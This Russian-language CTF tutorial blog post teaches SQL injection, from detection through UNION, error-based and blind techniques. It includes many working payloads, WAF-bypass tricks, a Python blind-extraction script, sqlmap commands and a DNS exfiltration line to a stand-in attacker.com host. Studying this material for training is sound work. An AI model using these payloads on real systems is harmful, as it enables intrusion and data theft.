Главная / Блог / SQL-инъекции в CTF: от обнаружения до blind SQLi

12 мин.00

SQL-инъекции в CTF: от обнаружения до blind SQLi

SQL-инъекции в CTF: от обнаружения до blind SQLi

На прошлом CTF задание за 500 очков — форма логина, никаких подсказок в исходниках страницы. Отправил admin' в поле username — ответ сервера неотличим от ответа на admin. Ни ошибки синтаксиса, ни редиректа. Больше половины команд решили, что инъекции здесь нет, и ушли на другие таски. А зря. Уязвимым оказался не POST-параметр формы, а cookie TrackingId, который сервер обрабатывал молча, в фоне. Один пейлоад ' AND SLEEP(5)-- - в значении cookie — ответ задержался ровно на пять секунд. Time-based blind injection, и между обнаружением и флагом — цепочка из двухсот HTTP-запросов. Ниже — полная методология SQL-инъекций в CTF: как находить точку инъекции, определять тип, эксплуатировать UNION/error/blind-техники и автоматизировать извлечение данных руками и через sqlmap.

Поиск SQL-уязвимостей вручную: первые 60 секунд

По классификации MITRE ATT&CK SQL-инъекция — Exploit Public-Facing Application (T1190, Initial Access). В реальном пентесте после SQLi начинается разведка инфраструктуры (System Information Discovery, T1082) и доступ к данным (Data from Information Repositories, T1213). В CTF цепочка короче: нашёл инъекцию — вытянул данные — забрал флаг. Но навыки переносятся один к одному. Согласно OWASP A03:2021 — Injection, SQLi стабильно в тройке критичных уязвимостей веб-приложений. По данным Verizon DBIR 2025, 26% всех подтверждённых нарушений — веб-атаки. Подробнее — в нашем подробном разборе создание ctf заданий.

Первое действие на любом веб-таске — кидаешь одинарную кавычку ' во все видимые параметры: поля форм, GET-параметры URL, cookie, HTTP-заголовки (Referer, X-Forwarded-For). В Burp Suite через Repeater: перехватил запрос, подставил ' в каждый параметр по очереди, отправил. Цель — получить хоть какую-то реакцию, подтверждающую инъекцию.

Все примеры ниже рассчитаны на Kali Linux или Ubuntu 22.04+ с Python 3.8+, Burp Suite Community Edition и sqlmap (git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git). Для тренировки — DVWA в Docker, PortSwigger Web Academy (бесплатно, онлайн) или любая CTF-площадка. Минимум 4 ГБ RAM для локального Docker-стенда.

Маркеры СУБД и контекст параметра

Ошибка в ответе — подарок. По тексту ошибки СУБД определяется за секунду:

Фрагмент ошибки СУБД
You have an error in your SQL syntax MySQL / MariaDB
unterminated quoted string / syntax error at or near PostgreSQL
ORA-01756 / quoted string not properly terminated Oracle
Unclosed quotation mark / incorrect syntax near MSSQL
SQLITE_ERROR / near "..." SQLite

Если ошибки не отображаются — ещё не приговор. Проверяй разницу в поведении: отправь ' OR 1=1-- - и ' OR 1=2-- -. Первый запрос возвращает данные или «успешную» страницу, второй — пустоту или «неуспешную». Разное поведение при одинаковом HTTP-статусе — главный индикатор boolean-based blind injection. По данным PortSwigger, именно этот паттерн лежит в основе большинства blind-сценариев.

Прежде чем подбирать payload, определи контекст параметра. Строковый — значение обёрнуто в кавычки: WHERE name = 'input', для инъекции нужно закрыть кавычку: ' UNION SELECT ...-- -. Числовой — значение подставляется без кавычек: WHERE id = input, кавычка не нужна: 1 UNION SELECT ...-- -. Если ' вызывает ошибку «unterminated string», а 1 AND 1=1 меняет поведение без кавычки — параметр числовой. 30 секунд тестирования, которые экономят 10 минут подбора неработающих пейлоадов.

UNION-based SQL injection — от столбцов до флага

UNION-based — самая быстрая техника эксплуатации SQL injection. Работает, когда приложение выводит результаты SQL-запроса на страницу. Оператор UNION позволяет прицепить второй SELECT к оригинальному запросу, и его результат появится в ответе. UNION-атаки бесполезны при blind-инъекциях — там видимого вывода нет.

Ключевое условие: количество столбцов в UNION SELECT должно совпадать с оригинальным запросом. Два способа определить число столбцов:

ORDER BY (быстрый): отправляешь ' ORDER BY 1-- -, ' ORDER BY 2-- -, ' ORDER BY 3-- - — когда сервер вернёт ошибку «Unknown column '4' in 'order clause'», столбцов ровно три. Для больших таблиц бинарный поиск: проверь ORDER BY 10, потом ORDER BY 5, потом ORDER BY 7 — за 4 запроса найдёшь точное число даже при 20 столбцах.

UNION SELECT NULL (надёжный): ' UNION SELECT NULL-- -, затем ' UNION SELECT NULL,NULL-- -. Когда ошибка пропадёт — количество NULL совпало. NULL совместим с любым типом данных, поэтому метод работает даже когда ORDER BY ведёт себя непредсказуемо (бывает при подзапросах).

Определив столбцы, выясняем какие из них видны на странице. Для трёх столбцов отправляем ' UNION SELECT 'aaa','bbb','ccc'-- -. Если в ответе видно bbb — второй столбец отображается, вся эксфильтрация пойдёт через него.

Цепочка запросов и ловушки CTF-заданий

Последовательность для MySQL: ' UNION SELECT NULL,version(),NULL-- - для подтверждения версии СУБД, затем database() для имени базы, затем table_name FROM information_schema.tables WHERE table_schema=database() для списка таблиц, потом column_name FROM information_schema.columns WHERE table_name='target' для столбцов и наконец flag FROM target_table для флага.

А теперь ловушка, на которую стабильно наступают. Задание на SQLite, а игрок долбится в information_schema и получает ошибку, не понимая почему. В SQLite эта схема не существует — вместо неё ' UNION SELECT NULL,sql,NULL FROM sqlite_master-- - возвращает DDL-определения всех таблиц (CREATE TABLE statements), откуда видны имена столбцов. Для PostgreSQL — information_schema работает, но вместо database() нужен current_database(), а version() возвращает длинную строку вида PostgreSQL 14.2 on x86_64....

Ещё один частый сценарий: обход аутентификации через SQLi. Если форма логина строит запрос SELECT * FROM users WHERE username='input' AND password='input', пейлоад administrator'-- - в поле username закомментирует проверку пароля. Сервер выполнит SELECT * FROM users WHERE username='administrator' и пустит внутрь. Простейший вектор, но на CTF beginner-уровня встречается стабильно.

UNION не работает в трёх случаях: результаты не отображаются на странице (blind); WAF блокирует слово UNION; оригинальный запрос ограничен LIMIT 1. Последнее обходится через LIMIT 1 OFFSET N в injected-запросе — перебираешь строки по одной.

Error-based SQL injection — данные из ошибок

Error-based работает, когда сервер показывает ошибки СУБД, но не выводит результаты SELECT. Суть — данные оказываются внутри текста ошибки. По сути, превращаешь слепую инъекцию в видимую.

Для MySQL два классических приёма. Первый — extractvalue(): пейлоад ' AND extractvalue(rand(),concat(0x3a,(SELECT version())))-- - вызывает XPath-ошибку, в тексте которой сидит результат вложенного SELECT. Нюанс, о который спотыкаются: extractvalue() обрезает вывод до ~32 символов. Если флаг длиннее — используй SUBSTRING: substring((SELECT flag FROM flags),1,32) для первой части, substring(...,33,32) для второй.

Второй — GROUP BY + FLOOR(RAND(0)*2). Конструкция вызывает ошибку «Duplicate entry» с данными в тексте. Работает на MySQL/MariaDB, на PostgreSQL и SQLite — нет.

Для PostgreSQL — CAST((SELECT column FROM table) AS int). Попытка привести строку к числу сломается и покажет строковое значение в ошибке. Подход полезен, когда лимит символов в ответе не позволяет использовать условные конструкции для стандартного blind.

Boolean-based blind SQLi — бинарный поиск вслепую

Blind-инъекция — самый частый тип SQL-инъекций в CTF среднего и высокого уровня. Приложение уязвимо, но ты не видишь ни результатов запроса, ни ошибок СУБД. Единственный канал — разница в поведении сервера: другое содержимое страницы, другой HTTP-статус или другое время ответа.

Принцип: задаёшь вопрос «да/нет» через SQL-условие и определяешь ответ по реакции. Пример из PortSwigger Web Security Academy: cookie TrackingId=xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username='Administrator'),1,1)>'m — если сервер возвращает «Welcome back», первый символ пароля больше m. Не возвращает — меньше или равен.

Для каждой позиции символа запускаем бинарный поиск по ASCII-таблице. Проверяем >'m' (отсекает половину возможных символов), затем >'t' или >'g' (ещё половину). За 7 итераций — log2(128) = 7 — определяем точный символ. Для 20-символьного пароля это 140 запросов. Руками через Burp Repeater — 15-20 минут монотонной работы. Скриптом — секунды.

В Burp Suite Intruder можно автоматизировать перебор для одной позиции: Attack type = Sniper, payload — список символов a-z, 0-9. По длине ответа или наличию маркера «Welcome back» определяется совпадение. Но для полного флага Intruder неудобен — нужна вложенная итерация по позициям и символам (Cluster bomb). На бесплатной версии Burp это работает, но throttling делает процесс мучительным.

Условные ошибки: когда нет разницы в содержимом ответа

Иногда приложение возвращает абсолютно одинаковый HTTP-ответ вне зависимости от результата запроса: нет ни «Welcome back», ни другого маркера. Тогда применяются условные ошибки через конструкцию CASE WHEN:

xyz' AND (SELECT CASE WHEN (1=1) THEN 1/0 ELSE 'a' END)='a

Если условие true — деление на ноль вызывает ошибку сервера (HTTP 500). Если false — сервер отвечает штатно (HTTP 200). Разница в HTTP-статусе становится каналом эксфильтрации. Для извлечения данных посимвольно: xyz' AND (SELECT CASE WHEN (Username='Administrator' AND SUBSTRING(Password,1,1)>'m') THEN 1/0 ELSE 'a' END FROM Users)='a. Тот же бинарный поиск, но индикатор — статус-код, а не содержимое страницы.

Автоматизация boolean-based blind SQLi на Python

Ручной бинарный поиск при blind SQLi — чистое страдание. Скрипт-скелет для автоматизации:

import requests
url, flag = "http://target.ctf/page", ""
for i in range(1, 40):
    lo, hi = 32, 126
    while lo < hi:
        m = (lo + hi) // 2
        inj = f"' AND ASCII(SUBSTRING((SELECT flag FROM flags),{i},1))>{m}-- -"
        lo, hi = (m+1, hi) if "Welcome" in requests.get(url, cookies={"TrackingId": inj}).text else (lo, m)
    if lo == 32: break
    flag += chr(lo)
print(flag)

Логика: для каждой позиции символа — бинарный поиск по ASCII-коду. Условие ASCII(SUBSTRING(...))>mid возвращает true или false, индикатор — маркер «Welcome» в ответе. Каждый символ определяется за 7 запросов, весь 30-символьный флаг — за ~210 запросов. На локальном стенде это 10-15 секунд. Для PostgreSQL замени SUBSTRING на SUBSTR. Для условных ошибок замени проверку "Welcome" in r.text на r.status_code == 200.

Time-based blind SQLi — эксфильтрация через задержки

Time-based — тяжёлая артиллерия. Применяется, когда нет ни отображения результатов, ни ошибок, ни вообще какой-либо разницы в содержимом или статусе ответа. Единственный канал — время ответа сервера. Медленно, больно, но работает.

Для MySQL: ' AND IF(SUBSTRING((SELECT flag FROM flags),1,1)='s',SLEEP(5),0)-- -. Если первый символ флага равен s — сервер молчит 5 секунд. Если нет — отвечает мгновенно.

Для PostgreSQL: '; SELECT CASE WHEN (SUBSTRING(password,1,1)='a') THEN pg_sleep(5) ELSE pg_sleep(0) END FROM users-- -.

Для MSSQL: '; IF (SUBSTRING((SELECT TOP 1 flag FROM flags),1,1)='a') WAITFOR DELAY '0:0:5'-- -.

Согласно OWASP, альтернатива SLEEP() для MySQL — BENCHMARK(5000000,ENCODE('MSG','by 5 seconds')), загружающая CPU повторяющимися вычислениями. Но BENCHMARK менее предсказуем по времени: результат зависит от текущей нагрузки на сервер, что усложняет автоматизацию. На практике SLEEP() надёжнее.

Оптимизация time-based blind SQLi: вместо SLEEP(5) ставь SLEEP(0.5) — для бинарного поиска достаточно отличить ответ за 100ms от ответа за 600ms. На 30-символьном флаге экономия — минуты. Для автоматизации адаптируй Python-скрипт из предыдущего раздела: вместо проверки содержимого ответа проверяй r.elapsed.total_seconds() > threshold. Порог подбирается экспериментально — обычно 2x от нормального времени ответа. При нестабильной сети увеличивай задержку и порог, чтобы избежать ложных срабатываний.

Отдельно про out-of-band (OAST) техники: при невозможности использовать ни один из вышеописанных каналов данные можно передать через DNS-запрос на контролируемый домен. Конструкция SELECT ... INTO OUTFILE или DNS-эксфильтрация через LOAD_FILE(CONCAT('\\\\',version(),'.attacker.com\\')) на MySQL. В CTF такие сценарии встречаются редко (нужен внешний DNS-ресивер), но в реальном пентесте — мощнейший вектор.

Обход WAF при SQL-инъекциях в CTF

На web CTF заданиях среднего уровня почти всегда есть фильтрация ключевых слов. Конкретные обходы, проверенные на реальных тасках:

Фильтр на SELECT/UNION — смена регистра: SeLeCt, uNiOn. Большинство кастомных фильтров на CTF используют case-sensitive regex и пропускают нестандартный регистр. Для MySQL дополнительно работают inline-комментарии: UN/**/ION SEL/**/ECT (согласно Invicti SQL Injection Cheat Sheet).

Фильтр на пробелы — замена на комментарии /**/ или URL-кодирование: %09 (табуляция), %0a (перевод строки). Пейлоад '/**/UNION/**/SELECT/**/flag/**/FROM/**/flags-- - проходит фильтры, ожидающие пробелы.

Фильтр на кавычки — hex-кодирование строк. Вместо WHERE table_name='flags' — WHERE table_name=0x666c616773. Работает на MySQL. На CTF-площадках этот трюк решает задания, где кавычки вырезаются регуляркой типа /[']+/.

Фильтр на запятые — JOIN вместо перечисления. Вместо UNION SELECT 1,2,3 — UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c. Непривычно, но работает.

Фильтр на = — оператор LIKE вместо WHERE column='value': WHERE column LIKE 'value'. Или обратная логика: если a<>b возвращает false — значит a=b.

Двойная URL-кодировка — если приложение декодирует входные данные дважды, %2527 (URL-код для %27, который декодируется в ') пройдёт через первый уровень проверки и станет кавычкой после второго декодирования.

GBK-инъекция — для приложений с мультибайтной кодировкой. Байт %bf перед %27 создаёт валидный мультибайтный символ, «съедающий» экранирующий обратный слэш, добавленный addslashes(). Кавычка проходит.

Использование sqlmap в web CTF заданиях

sqlmap автоматизирует обнаружение и эксплуатацию SQL injection. Для CTF это финальный инструмент, когда руками уже подтвердил уязвимость и определил контекст. Сначала голова — потом автоматика.

# Полная цепочка: база → таблицы → дамп флага
python sqlmap.py -u "http://target.ctf/page?id=1" --batch --dbs
python sqlmap.py -u "http://target.ctf/page?id=1" -D ctf_db --tables --batch
python sqlmap.py -u "http://target.ctf/page?id=1" -D ctf_db -T flags --dump --batch

Для cookie-инъекций: python sqlmap.py -u "http://target.ctf/page" --cookie="TrackingId=xyz" --level=2 --batch. Уровень --level=2 и выше заставляет sqlmap тестировать cookie-параметры — по умолчанию он проверяет только GET/POST. Для POST-формы: python sqlmap.py -u "http://target.ctf/login" --data="username=admin&password=test" -p username --batch, где -p указывает конкретный тестируемый параметр.

Флаг --technique= ограничивает тип инъекции: B (boolean), T (time), E (error), U (union). Если ты уже определил тип руками — указание техники ускоряет работу sqlmap в 5-10 раз, потому что он не тратит время на перебор остальных вариантов.

Для обхода фильтров: --tamper=space2comment,randomcase применяет скрипты трансформации пейлоадов. space2comment заменяет пробелы на /**/, randomcase рандомизирует регистр ключевых слов SQL. Полный список tamper-скриптов — python sqlmap.py --list-tampers.

Частая ошибка новичков: запускать sqlmap как первый шаг. Без ручного подтверждения инъекции и определения строкового/числового контекста sqlmap потратит 10 минут на перебор всех комбинаций техник, СУБД и параметров. Руками подтвердить тип за 30 секунд — и sqlmap справится за 30 секунд вместо десяти минут. Инструмент автоматизирует рутину дампа базы данных, но мышление и разведка — за тобой.

Неудобная правда про SQL-инъекции в CTF: большинство игроков, которые щёлкают UNION-based задания за пять минут, буксуют на blind-инъекциях часами. Причина не в сложности техники — бинарный поиск линеен и предсказуем. Причина в подходе. UNION — это копирование готовых пейлоадов с минимальной модификацией. Blind — это понимание SQL на уровне, достаточном для конструирования собственных условий и написания автоматизации с нуля. Между «скопировал payload из гугла» и «написал скрипт под конкретный таск» — пропасть.

За последние пару лет вижу чёткий тренд: авторы CTF-заданий всё реже дают классические UNION-сценарии. Вместо них — blind с кастомными фильтрами, нестандартные СУБД (SQLite и MSSQL вместо привычного MySQL), нетривиальные точки инъекции: JSON-параметры, HTTP-заголовки, WebSocket-сообщения. Те, кто привык работать исключительно через sqlmap без понимания механики, проигрывают тем, кто пишет десятистрочные Python-скрипты под конкретную задачу. И этот разрыв только увеличивается.

CTF-навыки SQL-инъекций напрямую конвертируются в навыки пентеста. OWASP A03:2021 Injection никуда не делась, реальные веб-приложения по-прежнему уязвимы — только фильтры сложнее. Если хочешь не просто writeup, а пройти всю атаку самому — на WAPT есть лаба именно с этим вектором и ментор в чате при затыке.

🚀 Хочешь закрепить на практике? Реши задачи по теме на HackerLab — категория «pentest-machines».

Поделиться

0 комментариев

Пожалуйста, войдите, чтобы оставить комментарий.

Загрузка комментариев...

Читайте также

XXE уязвимость: как эксплуатировать в CTF

13 мин.

9

XXE уязвимость: как эксплуатировать в CTF

7 техник эксплуатации XXE: classic, blind OOB, error-based, SVG upload, XInclude, Content-Type switch. Пошаговые пейлоады с Burp Suite и таблица выбора.

9 ОКТЯБРЬ, 2026

Race condition эксплуатация: гайд для CTF

12 мин.

4

Race condition эксплуатация: гайд для CTF

Три типа race condition в CTF, ready-to-use скрипт Turbo Intruder для single-packet attack и разбор CVE-2022-4037 в GitLab. Пошаговый workflow эксплуатации.

9 ОКТЯБРЬ, 2026

Реверс-инжиниринг в Ghidra: разбираем crackme

10 мин.

7

Реверс-инжиниринг в Ghidra: разбираем crackme

Пошаговый разбор crackme в Ghidra: strcmp, XOR-шифрование, хеш-функции. Как находить проверку пароля через XRefs, когда декомпилятор врёт и как патчить переходы.

8 ОКТЯБРЬ, 2026